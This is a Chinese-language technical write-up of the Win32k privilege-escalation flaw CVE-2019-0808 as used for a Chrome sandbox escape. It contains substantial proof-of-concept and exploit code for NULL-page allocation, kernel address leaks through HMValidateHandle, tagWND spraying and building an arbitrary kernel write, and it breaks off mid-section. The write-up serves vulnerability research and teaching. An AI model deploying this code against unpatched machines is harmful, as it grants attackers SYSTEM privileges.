一、前言
本文主要探讨了最近修复的Win32k漏洞(CVE-2019-0808),该漏洞与CVE-2019-5786共同在野外被利用,提供了完整的Google Chrome沙箱逃逸的漏洞利用链。
二、概述
在2019年3月7日,Google发表了一篇文章,讨论了两个在野外共同被利用的漏洞——CVE-2019-5786和CVE-2019-0808。第一个漏洞是源于Chrome渲染器中的一个漏洞,我们已经在此前的文章中详细阐述过。第二个漏洞是win32k.sys中的NULL指针引用错误,影响Windows 7系统和Windows Server 2008,允许攻击者实现Chrome沙箱逃逸并以SYSTEM身份执行任意代码。
在Google的文章发布之后,ze0r在GitHub发布了一个针对Windows 7 x86的PoC代码,该代码将导致蓝屏(BSOD)。这篇文章详细介绍了一个正在运行的沙箱逃逸和一个完整漏洞利用链的演示,并以这两个漏洞来展示Google在野外遇到的APT攻击。
三、针对公开PoC的分析
作为本文中开展更深入分析的背景,我们将首先对已经公开的PoC代码进行分析。在PoC代码中,进行的第一个操作是创建两个无模式的拖放弹出菜单——hMenuRoot和hMenuSub。随后,将hMenuRoot设置为主下拉菜单,并将hMenuSub配置为其子菜单。
HMENU hMenuRoot = CreatePopupMenu(); HMENU hMenuSub = CreatePopupMenu(); ... MENUINFO mi = { 0 }; mi.cbSize = sizeof(MENUINFO); mi.fMask = MIM_STYLE; mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP; SetMenuInfo(hMenuRoot, &mi); SetMenuInfo(hMenuSub, &mi); AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root"); AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
在此之后,使用SetWindowsHookEx()在当前线程上安装WH_CALLWNDPROC挂钩。该挂钩将确保在执行窗口的过程之前先执行WindowHookProc()。完成此操作后,将调用SetWinEventHook()来设置事件挂钩,以确保在显示弹出菜单时可以调用DisplayEventProc()。
SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId()); SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);
下图展示了设置WH_CALLWNDPROC挂钩之前和之后的窗口消息调用流程。
在挂钩安装后,将会使用带有类字符串“#32768”的CreateWindowA()来创建hWndFakeMenu窗口。根据MSDN上的说明,这是菜单类的系统保留字符串。以这种方式创建窗口,将会导致CreateWindowA()将窗口对象中的许多数据字段都设置为0或NULL,因为CreateWindowA()并不清楚如何正确填充它们。其中,有一个对漏洞利用至关重要的字段,就是spMenu字段,它将被设置为NULL。
hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
随后,使用带窗口类wndClass的CreateWindowA()创建hWndMain。这样一来,会将hWndMain的窗口过程设置为DefWindowProc(),这是Windows API中的一个函数,负责处理窗口本身未处理的任何窗口消息。
CreateWindowA()的参数还确保在禁用模式下创建hWndMain,以便它不会从最终用户接收任何键盘或鼠标输入,但仍然可以从其他窗口、系统或应用程序本身接收其他窗口的消息。这是一种预防措施,用于确保用户不会以预料之外的方式和窗口进行交互,例如将其重新定位到预料之外的位置。最后,CreateWindowA()的最后一个参数将确保窗口位于(0x1, 0x1),窗口大于0像素 * 0像素。我们可以在下面的代码中具体看到。
WNDCLASSEXA wndClass = { 0 }; wndClass.cbSize = sizeof(WNDCLASSEXA); wndClass.lpfnWndProc = DefWindowProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInst; wndClass.lpszMenuName = 0; wndClass.lpszClassName = "WNDCLASSMAIN"; RegisterClassExA(&wndClass); hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr); TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL); MSG msg = { 0 }; while (GetMessageW(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageW(&msg); if (iMenuCreated >= 1) { bOnDraging = TRUE; callNtUserMNDragOverSysCall(&pt, buf); break; } }
在创建hWndMain窗口后,将会调用TrackPopupMenuEx()以显示hMenuRoot。这将导致在hWndMain的消息栈上放置一个窗口消息,该消息栈将通过GetMessageW()在main()的消息循环中检索,通过TranslateMessage()进行转换,然后通过DispatchMessageW()发送到hWndMain的窗口过程。在此过程中,将会执行窗口过程挂钩,会调用WindowHookProc()。
BOOL bOnDraging = FALSE; .... LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam) { tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (!bOnDraging) { return CallNextHookEx(0, code, wParam, lParam); } ....
由于尚未设置bOnDraging变量,WindowHookProc()函数将简单地调用CallNextHookEx(),来调用下一个可用的挂钩。这将导致在创建弹出菜单时发送EVENT_SYSTEM_MENUPOPUPSTART事件。该事件消息将被事件挂钩捕获,并将导致执行转移到DisplayEventProc()函数。
UINT iMenuCreated = 0; VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) { switch (iMenuCreated) { case 0: SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005); break; case 1: SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006); break; } printf("[*] MSG\n"); iMenuCreated++; }
由于这是第一次执行DisplayEventProc(),因此iMenuCreated将为0,这会导致执行Case 0。这种分支条件,会将WM_LMOUSEBUTTON窗口消息发送到hWndMain使用的SendMessageW(),以便在点(0x5, 0x5)的位置选择hMenuRoot菜单。将该消息放入hWndMain的窗口消息队列之后,iMenuCreated将会递增。
hWndMain随后处理WM_LMOUSEBUTTON消息,并选择hMenu,这将导致显示hMenuSub。这样一来,将会触发第二个EVENT_SYSTEM_MENUPOPUPSTART事件,导致DisplayEventProc()再次执行。第二种情况是在当iMenuCreated为1时执行。这种情况下,会使用SendMessageW()将鼠标移动到用户桌面上的点(0x6, 0x6)。由于鼠标左键仍然被按下,所以这看起来像正在执行拖放操作。在此之后,iMenuCreated再次递增,执行返回到如下代码,并在main()内部显示消息循环。
CHAR buf[0x100] = { 0 }; POINT pt; pt.x = 2; pt.y = 2; ... if (iMenuCreated >= 1) { bOnDraging = TRUE; callNtUserMNDragOverSysCall(&pt, buf); break; }
由于iMenuCreated现在的值为2,因此将执行if语句中的代码,这将会把bOnDraging设置为TRUE,以指示使用鼠标执行拖动操作,之后将使用POINT结构pt的地址和0x100字节长度的输出缓冲区buf来调用函数callNtUserMNDragOverSysCall()。
callNtUserMNDragOverSysCall()是一个包装函数,它使用编号为0x11ED的系统调用在win32k.sys中对NtUserMNDragOver()进行系统调用,0x11ED是Windows 7和Windows 7 SPI中NtUserMNDragOver()的系统调用编号。这些系统调用的目的是从user32.dll获取NtUserMNDragOver()地址的方法,因为系统调用编号往往只在不同操作系统版本和SP包之间才发生变化(但Windows 10是一个例外,该系统中经历了多次变化),而user32.dll中导出的函数与未导出的NtUserMNDragOver()函数之间的偏移量可以随时更新user32.dll。
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) { _asm { mov eax, 0x11ED push address2 push address1 mov edx, esp int 0x2E pop eax pop eax } }
NtUserMNDragOver()最终将调用xxxMNFindWindowFromPoint(),它将执行xxxSendMessage(),以发出类型为WM_MN_FINDMENUWINDOWFROMPOINT的用户模式回调。然后,使用HMValidateHandle()检查从用户模式回调返回的值,以确保它是窗口对象的句柄。
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt) { .... v6 = xxxSendMessage( var_pPopupMenu->spwndNextPopup, MN_FINDMENUWINDOWFROMPOINT, (WPARAM)&pPopupMenu, (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the // MN_FINDMENUWINDOWFROMPOINT usermode callback // using the address of pPopupMenu as the // wParam argument. ThreadUnlock1(); if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user // mode callback is a handle to a MFMWFP window. v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned // handle is a handle to // a window object. Set v1 to // TRUE if all is good. ...
在执行回调时,窗口过程挂钩函数WindowHookProc()将会在执行预期的窗口过程之前执行。该函数将检查收到的窗口消息类型。如果传入窗口的消息是WM_MN_FINDMENUWINDOWFROMPOINT类型,则会执行以下代码:
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)) { bIsDefWndProc = FALSE; printf("[*] HWND: %p \n", cwp->hwnd); SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc); } return CallNextHookEx(0, code, wParam, lParam);
该代码会将hWndMain的窗口过程从DefWindowProc()更改为SubMenuProc()。它还会将blsDefWndProc设置为FALSE,以指示hWndMain的窗口过程不再是DefWindowProc()。
在挂钩退出后,执行hWndMain的窗口过程。但是,由于hWndMain窗口的窗口过程已经更改为SubMenuProc(),因此会执行SubMenuProc()函数,而不是预期的DefWindowProc()函数。
SubMenuProc()将首先检查传入消息是否为WM_MN_FINDMENUWINDOWFROMPOINT类型。如果是,SubMenuProc()将调用SetWindowLongPtr(),将hWndMain的窗口过程设置回DefWindowProc(),以便hWndMain可以处理任何其他传入窗口消息。这一过程,可以防止应用程序无响应。然后,SubMenuProc()将返回和W你的FakeMenu,或者使用菜单类字符串创建的窗口句柄。
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { if (msg == WM_MN_FINDMENUWINDOWFROMPOINT) { SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc); return (ULONG)hWndFakeMenu; } return DefWindowProc(hwnd, msg, wParam, lParam); }
由于hWndFakeMenu是一个有效的窗口句柄,它将会通过HMValidateHandle()检查。但是,如前所述,当CreateWindowEx()尝试将窗口创建为没有足够信息的菜单时,许多窗口的元素将被设置为0或NULL。执行将随后从xxxMNFindWindowFromPoint()进入到xxxMNUpdateDraggingInfo(),将会执行对MNGetpItem()的调用,MNGetpItem()将调用MNGetpItemFromIndex()。
然后,MNGetpItemFromIndex()将尝试访问hWndFakeMenu的spMenu字段中的偏移量。但是,由于hWndFakeMenu的spMenu字段设置为NULL,这将导致NULL指针取消引用,如果尚未分配NULL页面,则会造成内核崩溃。
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu) { tagITEM *result; // eax if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ){ // NULL pointer dereference will occur // here if spMenu is NULL. result = 0; else result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu; return result; }
四、沙箱的限制
为了更好地了解如何实现Chrome的沙箱逃逸,我们必须先了解它的运行方式。关于Chrome沙箱的大部分重要细节,都体现在Google沙箱的页面上,并进行了详细的解释。通过阅读该页面,我们可以得到与该漏洞相关的Chrome沙箱的一些详细信息,这些信息的列表如下:
1. Chrome沙箱中的所有进程,都以低完整性(Low Integrity)运行。
2. 受限作业对象适用于Chrome沙箱中运行的所有进程的进程令牌。这样一来,可以防止子进程的派生。
3. 在Chrome沙箱中运行的进程,将在独立的桌面上运行,与主桌面和服务桌面相分开,从而防范可能导致权限提升的Shatter攻击。
4. 在Windows 8及更高版本,Chrome沙箱会阻止对win32k.sys的调用。
该列表中的第一个保护,是在沙箱内运行的进程都以低完整性运行。这样一来,可以防止攻击者利用sam-b内核泄露页面上提到的大量内核泄露。从Windows 8.1开始,大多数泄露都要求进程以中等完整性或更高完整性来运行。在Windows 10 RS4之前的Windows版本中,可以在HMValidateHandle()的实现中滥用内存泄漏漏洞,而在此次漏洞利用中绕过了这一限制,我们将稍后进行详细讨论。
下一个限制是沙盒进程上的受限作业对象和令牌。受限制的令牌可以确保沙箱进程在没有任何权限的情况下运行,而作业对象可以确保沙箱进程无法生成任何子进程。这两种缓解方案的组合,意味着攻击者可能必须要创建自己的进程令牌,或者窃取另一个进程令牌,然后将该作业对象与该令牌解除关联。要实现上述过程,恐怕需要的是一个内核级漏洞。这两种缓解措施与本文所分析的漏洞利用关系最为密切,具体的绕过方式将在后文中详细讨论。
该作业对象还确保沙箱进程使用“备用桌面”(Alternate Desktop,在Windows中称之为有限制的桌面),这是一个独立于主用户桌面和服务桌面的桌面,以防止通过窗口消息实现权限提升。之所以这样实现,是因为Windows阻止在桌面之间发送窗口消息,这就限制了攻击者仅能将窗口消息发送到在沙箱内创建的窗口。值得庆幸的是,这个特殊的漏洞只需要与沙箱中创建的窗口进行交互,因此这种缓解方式只会使得最终用户无法看到漏洞创建的任何窗口和菜单。
最后,值得注意的是,尽管在Windows 8中引入了保护措施,以允许Chrome阻止沙箱应用程序将系统调用发送到win32k.sys,但这些空间并未向Windows 7反向移植。因此,Chrome的沙箱无法阻止调用Windows 7及更早版本的win32k.sys,这意味着攻击者可以滥用win32k.sys上的漏洞来逃逸这些版本Windows上的Chrome沙箱。
五、沙箱漏洞利用分析
5.1 为Chrome沙箱创建DLL
正如James Forshaw的博客文章In-Console-Able中所解释的那样,我们不可能仅仅将任意DLL注入到Chrome沙箱中。由于沙箱的限制,必须以不加载任何其他库或清单文件的方式来创建DLL。
为此,首先需要调整PoC漏洞利用的Visual Studio项目,以便将该项目的类型设置为DLL,而不再是EXE。在此之后,更改C++编译器设置,以使其使用多线程运行时库(不是多线程DLL)。最后,将链接器设置为指示Visual Studio不生成清单文件。
完成此操作后,Visual Studio将生成可借助漏洞加载到Chrome沙箱中的DLL。在这里,可以利用István Kurucsai的1-Day Chrome漏洞CVE-2019-5786,也可以借助DLL注入来实现。
5.2 借助已经存在的有限写入原语实现漏洞利用
在深入了解如何将漏洞利用转换为沙箱逃逸的细节之前,了解有限的写入原语是非常重要的,如果攻击者成功设置了NULL页面,该漏洞将会为攻击者提供帮助。
一旦触发漏洞,将在win32k.sys中调用xxxMNUpdateDraggingInfo()。如果已经正确设置了NULL页面,则xxxMNUpdateDraggingInfo()将会调用xxxMNSetGapState(),其代码如下所示:
void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet) { ... var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write // operation should occur, minus an // offset of 0x4. temp_var_PITEM = var_PITEM; if ( var_PITEM ) { ... var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the // address where the second write operation // should occur, minus an offset of 0x4. This // address will be 0x6C bytes earlier in // memory than the address in var_PITEM. if ( fSet ) { *((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the // attacker controlled address. if ( var_PITEM_Minus_Offset_Of_0x6C ) { *((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u; // Conduct the second write to the attacker // controlled address minus 0x68 (0x6C-0x4). ...
xxxMNSetGapState()将对攻击者控制的位置加上偏移量4后执行两次写入操作。在两次写入操作之间的唯一区别是,0x40000000将被写入比0x80000000提前0x6C字节的地址。
值得注意的是,写操作是使用OR操作实现的。这意味着攻击者只能向他们选择写入的DWORD添加位,而不能删除或修改已经存在的位。同时,需要注意的是,即使攻击者以某个偏移量开始写入,他们也仍然只能将值\x40或\x80写入一个地址。
从这些观察中可以看出,如果攻击者希望实现Chrome沙箱逃逸,就需要更加强大的写入原语。为了满足这一要求,Exodus Intelligence的漏洞利用有限的写原语,通过滥用tagWND对象来创建更加强大的写原语。下面的各节中将详细介绍如何完成此操作,以及实现沙箱逃逸所需的步骤。
5.3 分配NULL页面
在Windows 8之前的Windows版本中,可以通过调用NtAllocateVirtualMemory()的方式从用户区域在NULL页面中分配内存。在PoC代码中,对main()函数进行了调整,以从ntdll.dll获取NtAllocateVirtualMemory()的地址,并将其保存到变量pfnNtAllocateVirtualMemory中。
完成此操作后,将调用allocateNullPage(),以使用地址0x1分配NULL页面,具有读取、写入和执行权限。然后,地址0x1将由NtAllocateVirtualMemory()向下舍入到0x0,以适应页面边界,从而允许攻击者在0x0处分配内存。
typedef NTSTATUS(WINAPI *NTAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); NTAllocateVirtualMemory pfnNtAllocateVirtualMemory = 0; .... pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); .... // Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for // explaining this in an example along with the finer details that are often forgotten. bool allocateNullPage() { /* Set the base address at which the memory will be allocated to 0x1. This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory, however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/ PVOID BaseAddress = (PVOID)0x1; /* Set the size to be allocated to 40960 to ensure that there is plenty of memory allocated and available for use. */ SIZE_T size = 40960; /* Call NtAllocateVirtualMemory to allocate the virtual memory at address 0x0 with the size specified in the variable size. Also make sure the memory is allocated with read, write, and execute permissions.*/ NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); // If the call to NtAllocateVirtualMemory failed, return FALSE. if (result != 0x0) { return FALSE; } // If the code reaches this point, then everything went well, so return TRUE. return TRUE; }
5.4 找到HMValidateHandle的地址
一旦分配了NULL页面,漏洞利用就会获得HMValidateHandle()函数的地址。HMValidateHandle()对攻击者来说非常有用,因为它允许攻击者获得任何对象的用户空间副本,前提是他们获得一个句柄。此外,该泄露也适用于Windows 10 RS4之前的Windows版本的低完整性。
通过滥用此功能,可以将包含指向其在内核内存中位置的对象(例如tagWND窗口对象)复制到用户模式内存中,攻击者可以通过获取其句柄来获取各种对象的地址·。
由于HMValidateHandle()的地址未从user32.dll导出,攻击者无法通过user32.dll的导出表直接获取HMValidateHandle()的地址。相反,攻击者必须找到另一个user32.dll导出的函数,它调用HMValidateHandle(),读取间接跳转中的偏移值,然后执行一些数学运算来计算HMValidateHandle()的真实地址。
这一过程是通过从user32.dll获取导出函数IsMenu()的地址,然后在IsMenu()的代码中搜索byte \xEB的第一个实例来完成的,该代码表示间接调用HMValidateHandle()的开始。然后,攻击者通过对user32.dll的基址、间接调用中的相对偏移量、从user32.dll开始的IsMenu()的偏移量执行一些数学运算,即可获得HMValidateHandle()的地址。我们可以在下面的代码中看到。
HMODULE hUser32 = LoadLibraryW(L"user32.dll"); LoadLibraryW(L"gdi32.dll"); // Find the address of HMValidateHandle using the address of user32.dll if (findHMValidateHandleAddress(hUser32) == FALSE) { printf("[!] Couldn't locate the address of HMValidateHandle!\r\n"); ExitProcess(-1); } ... BOOL findHMValidateHandleAddress(HMODULE hUser32) { // The address of the function HMValidateHandleAddress() is not exported to // the public. However the function IsMenu() contains a call to HMValidateHandle() // within it after some short setup code. The call starts with the byte \xEB. // Obtain the address of the function IsMenu() from user32.dll. BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu"); if (pIsMenuFunction == NULL) { printf("[!] Failed to find the address of IsMenu within user32.dll.\r\n"); return FALSE; } else { printf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction); } // Search for the location of the \xEB byte within the IsMenu() function // to find the start of the indirect call to HMValidateHandle(). unsigned int offsetInIsMenuFunction = 0; BOOL foundHMValidateHandleAddress = FALSE; for (unsigned int i = 0; i > 0x1000; i++) { BYTE* pCurrentByte = pIsMenuFunction + i; if (*pCurrentByte == 0xE8) { offsetInIsMenuFunction = i + 1; break; } } // Throw error and exit if the \xE8 byte couldn't be located. if (offsetInIsMenuFunction == 0) { printf("[!] Couldn't find offset to HMValidateHandle within IsMenu.\r\n"); return FALSE; } // Output address of user32.dll in memory for debugging purposes. printf("[*] hUser32: 0x%08X\r\n", hUser32); // Get the value of the relative address being called within the IsMenu() function. unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction); printf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu); // Find out how far the IsMenu() function is located from the base address of user32.dll. unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32); printf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32); // Take this offset and add to it the relative address used in the call to HMValidateHandle(). // Result should be the offset of HMValidateHandle() from the start of user32.dll. unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu; printf("[*] offset: 0x%08X\r\n", offset); // Skip over 11 bytes since on Windows 10 these are not NOPs and it would be // ideal if this code could be reused in the future. pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11); printf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle); return TRUE; }
5.5 使用窗口对象创建任意内核地址写入原语
一旦获得HMValidateHandle()的地址,漏洞利用就会调用sprayWindows()函数。sprayWindows()函数做的第一件事是使用RegisterClassExW()注册一个名为sprayWindowClass的新窗口类。sparyWindowClass也将被设置为使用此类创建的任何窗口都将使用攻击者定义的窗口过程sprayCallback()。
然后,将创建一个名为hwndSprayHandleTable的HWND表,并将执行一个循环,该循环将调用CreateWindowExW()以创建类sprayWindowClass的0x100 tagWND对象,并将其句柄保存到hwndSprayHandle中。一旦完成这一喷射过程,将会使用两个嵌套的循环,使用HMValidateHandle()获取每个tagWND对象的用户空间副本。
然后,通过检查tagWND对象的pSelf字段,获得每个tagWND对象的内核地址。将每个tagWND对象的内核地址相互比较,直到找到两个在内核内存中小于0x3FD00的tagWND对象,此时循环结束。
/* The following definitions define the various structures needed within sprayWindows() */ typedef struct _HEAD { HANDLE h; DWORD cLockObj; } HEAD, *PHEAD; typedef struct _THROBJHEAD { HEAD h; PVOID pti; } THROBJHEAD, *PTHROBJHEAD; typedef struct _THRDESKHEAD { THROBJHEAD h; PVOID rpdesk; PVOID pSelf; // points to the kernel mode address of the object } THRDESKHEAD, *PTHRDESKHEAD; .... // Spray the windows and find two that are less than 0x3fd00 apart in memory. if (sprayWindows() == FALSE) { printf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n"); ExitProcess(-1); } .... // Define the HMValidateHandle window type TYPE_WINDOW appropriately. #define TYPE_WINDOW 1 /* Main function for spraying the tagWND objects into memory and finding two that are less than 0x3fd00 apart */ bool sprayWindows() { HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray. // Create and set up the window class for the sprayed window objects. WNDCLASSEXW sprayClass = { 0 }; sprayClass.cbSize = sizeof(WNDCLASSEXW); sprayClass.lpszClassName = TEXT("sprayWindowClass"); sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed // window objects to sprayCallback(). if (RegisterClassExW(&sprayClass) == 0) { printf("[!] Couldn't register the sprayClass class!\r\n"); } // Create 0x100 windows using the sprayClass window class with the window name "spray". for (int i = 0; i < 0x100; i++) { hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL); } // For each entry in the hwndSprayHandle table... for (int x = 0; x < 0x100; x++) { // Leak the kernel address of the current HWND being examined, save it into firstEntryAddress. THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW); unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf; // Then start a loop to start comparing the kernel address of this hWND // object to the kernel address of every other hWND object... for (int y = 0; y < 0x100; y++) { if (x != y) { // Skip over one instance of the loop if the entries being compared are // at the same offset in the hwndSprayHandleTable // Leak the kernel address of the second hWND object being used in // the comparison, save it into secondEntryAddress. THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW); unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf; // If the kernel address of the hWND object leaked earlier in the code is greater than // the kernel address of the hWND object leaked above, execute the following code. if (firstEntryAddress > secondEntryAddress) { // Check if the difference between the two addresses is less than 0x3fd00. if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) { printf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress); printf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress); // Save the handle of secondEntryAddress into hPrimaryWindow // and its address into primaryWindowAddress. hPrimaryWindow = hwndSprayHandleTable[y]; primaryWindowAddress = secondEntryAddress; // Save the handle of firstEntryAddress into hSecondaryWindow // and its address into secondaryWindowAddress. hSecondaryWindow = hwndSprayHandleTable[x]; secondaryWindowAddress = firstEntryAddress; // Windows have been found, escape the loop. break; } } // If the kernel address of the hWND object leaked earlier in the code is less than // the kernel address of the hWND object leaked above, execute the following code. else { // Check if the difference between the two addresses is less than 0x3fd00. if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) { printf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress); printf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress); // Save the handle of firstEntryAddress into hPrimaryWindow // and its address into primaryWindowAddress. hPrimaryWindow = hwndSprayHandleTable[x]; primaryWindowAddress = firstEntryAddress; // Save the handle of secondEntryAddress into hSecondaryWindow // and its address into secondaryWindowAddress. hSecondaryWindow = hwndSprayHandleTable[y]; secondaryWindowAddress = secondEntryAddress; // Windows have been found, escape the loop. break; } } } } // Check if the inner loop ended and the windows were found. If so print a debug message. // Otherwise continue on to the next object in the hwndSprayTable array. if (hPrimaryWindow != NULL) { printf("[*] Found target windows!\r\n"); break; } }
一旦找到符合这些要求的两个tagWND对象,就会比较它们的地址,并查看哪个对象位于内存中较靠前的位置。位于内存中较靠前位置的tagWND对象将成为主窗口,它的地址将保存到全局变量rimaryWindowAddress中,而其句柄将保存到全局变量hPrimaryWindow中。另一个tagWND对象将成为辅助窗口,其地址将保存在secondaryWindowAddress中,其句柄保存在hSecondaryWindow中。
在保存这些窗口的地址后,会使用DestroyWindow()销毁hwndSprayHandle中其他窗口的句柄,以便将资源释放回主机操作系统。
// Check that hPrimaryWindow isn't NULL after both the loops are // complete. This will only occur in the event that none of the 0x1000 // window objects were within 0x3fd00 bytes of each other. If this occurs, then bail. if (hPrimaryWindow == NULL) { printf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n"); return FALSE; } // This loop will destroy the handles to all other // windows besides hPrimaryWindow and hSecondaryWindow, // thereby ensuring that there are no lingering unused // handles wasting system resources. for (int p = 0; p > 0x100; p++) { HWND temp = hwndSprayHandleTable[p]; if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) { DestroyWindow(temp); } } addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to // primaryWindow's cbwndExtra field. printf("[*] Destroyed spare windows!\r\n"); // Check if its possible to set the window text in hSecondaryWindow. // If this isn't possible, there is a serious error, and the program should exit. // Otherwise return TRUE as everything has been set up correctly. if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) { printf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n"); return FALSE; } else { return TRUE; }
sprayWindows()的最后一部分会将addressToWrite设置为primaryWindowAddress中cbwndExtra字段的地址,以便明确有限写入原语应该将值0x40000000写入的位置。
在这里,我们需要理解为什么tagWND对象在这一位置喷涂,以及为什么tagWND对象的cbwndExtra和strName.Buffer字段非常重要。我们需要检查Windows 10 RS1之前的Windows版本上存在的内核写入原语。
正如Saif Sheri和Ian Kronquist所演示的那样,如果可以将两个tagWND对象接连放在内存中,然后借助内核写入漏洞,编辑内存中比较靠前的tagWND对象的cbwndExtra字段,那么就可以扩展前一个tagWND的WndExtra数据字段的预期长度,使其认为它控制有第二个tagWND对象实际控制的内存。
下图展示了如何利用此概念,借助有限写入原语,将hPrimaryWindow的cbwndExtra字段设置为0x40000000。以及这一调整之后,如何允许攻击者在第二个tagWND内操作其附近的数据。
一旦第一个tagWND对象的cbwndExtra字段被覆盖,如果攻击者在第一个tagWND对象上调用SetWindowLong(),攻击者就可以覆盖第二个tagWND对象中的strName.Buffer字段并将其设置为任意地址。当使用第二个tagWND对象调用SetWindowText()时,覆盖的strName.Buffer字段中包含的地址将用于写入操作的目标地址。
借助这种更为强大的写入原语,攻击者可以将可控值写入内核地址,这也是打破Chrome沙箱的先决条件。使用WinDBG查看到以下列表,展示了与此技术相关的tagWND对象的字段。
1: kd> dt -r1 win32k!tagWND +0x000 head : _THRDESKHEAD +0x000 h : Ptr32 Void +0x004 cLockObj : Uint4B +0x008 pti : Ptr32 tagTHREADINFO +0x00c rpdesk : Ptr32 tagDESKTOP +0x010 pSelf : Ptr32 UChar ... +0x084 strName : _LARGE_UNICODE_STRING +0x000 Length : Uint4B +0x004 MaximumLength : Pos 0, 31 Bits +0x004 bAnsi : Pos 31, 1 Bit +0x008 Buffer : Ptr32 Uint2B +0x090 cbwndExtra : Int4B ...
5.6 泄露pPopupMenu的地址以进行写地址计算
在继续之前,我们需要重新检查MNGetpItemFromIndex(),它返回要写入的地址减去0x4的偏移量。该函数的反编译版本如下。
